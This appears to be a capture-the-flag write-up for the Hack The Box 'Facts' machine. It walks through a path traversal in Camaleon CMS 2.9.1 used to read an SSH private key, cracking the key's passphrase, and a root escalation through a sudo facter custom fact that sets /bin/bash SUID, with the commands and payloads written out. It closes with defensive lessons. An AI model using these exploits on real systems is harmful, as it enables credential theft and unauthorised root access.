HTB Facts – Season 10 write-up (rephrased / restructured version)

Easy Linux box to open the season — classic web → LFI → SSH key → passphrase cracking → sudo misconfiguration.

1. Reconnaissance & Port Scan

Quick full-port scan:

1
2
3
4
PORT      STATE  SERVICE
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
54321/tcp open http MinIO (Golang net/http)

Added facts.htb to /etc/hosts and ran version + default script scan on the three open ports.

Interesting findings already:

  • standard SSH

  • nginx serving a web application on port 80

  • MinIO-looking service on 54321 (but redirects to http://facts.htb:9001 — most likely unused / leftover)

2. Web application on port 80 – First look

The site presents itself as Camaleon CMS.

Registration → login → dashboard works without issues.

Directory brute-force looking for admin-like locations (focusing on 302 redirects):

1
2
3
4
admin          302
admin.php 302
admin.pl 302
admin.cgi 302

Classic admin panel redirect pattern → most likely the real administration interface.

After logging in → version fingerprint reveals Camaleon CMS 2.9.1.

3. Vulnerability – CVE-2024-46987 (Path Traversal / LFI in private file download)

Affected endpoint:

1
/admin/media/download_private_file?file=...

The controller concatenates user input directly:

1
2
file = cama_uploader.fetch_file("private/#{params[:file]}")
send_file file, disposition: 'inline'

No path sanitization → classic ../ traversal possible.

Because the application runs as a user that can read /home/* directories, we can reach user home folders.

4. LFI exploitation – Reading sensitive files

Goal: steal SSH private keys.

From /etc/passwd we saw two interesting users:

  • trivia

  • william

Trying to read .ssh/id_* and id_ed25519 worked for user trivia:

1
GET /admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519

→ private key returned in response body (ed25519 format)

5. SSH key usage – Passphrase protected

1
2
chmod 600 trivia_ed25519
ssh -i trivia_ed25519 trivia@10.129.x.x

→ prompts for passphrase

Extract hash & crack:

1
2
ssh2john trivia_ed25519 > hash
john hash --wordlist=rockyou.txt

→ passphrase = dragonballz

Successful login:

1
2
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

User flag was not in trivia’s home — it was in /home/william/user.txt

6. Privilege Escalation

Quick enumeration:

1
2
sudo -l
(ALL) NOPASSWD: /usr/bin/facter

Facter (Puppet fact collection tool) executed as root via sudo — very dangerous when custom facts are allowed.

Modern facter still honours --custom-dir even when FACTERLIB is blocked by env_reset.

Exploit plan:

  1. Create malicious custom fact

  2. Tell facter to load facts from a directory we control

  3. Execute code as root inside the fact

1
2
3
4
5
6
7
8
9
mkdir -p /tmp/mfacts
cat > /tmp/mfacts/pwn.rb <<EOF
Facter.add('hax') do
setcode do
system("chmod +s /bin/bash")
end
end
EOF
sudo /usr/bin/facter --custom-dir=/tmp/mfacts hax

Result:

1
-rwsr-sr-x 1 root root ... /bin/bash

Privilege escalation:

1
2
3
4
bash -p
# id
uid=1000(trivia) euid=0(root) ...
cat /root/root.txt

Summary – Attack chain recap

  1. Camaleon CMS 2.9.1 on nginx (port 80)

  2. Account registration → login

  3. Path traversal in private file download (CVE-2024-46987)

  4. Exfiltrate /home/trivia/.ssh/id_ed25519

  5. Crack weak passphrase (dragonballz)

  6. SSH as trivia → find user flag in /home/william

  7. sudo facter misconfiguration → custom fact → SUID bash → root

Security lessons (short version)

  • Never concatenate params[:file] directly into a file path

  • File.basename() or strong allow-list is mandatory

  • Web-server user should never be able to read /home/*/

  • SSH keys without passphrase (or very weak one) = single point of failure

  • Avoid NOPASSWD: /usr/bin/facter, /usr/bin/python*, /usr/bin/perl, etc.

  • Prefer very narrow sudo rules or dedicated non-interactive mechanisms

Good luck to everyone playing Season 10!See you on the next box. ッ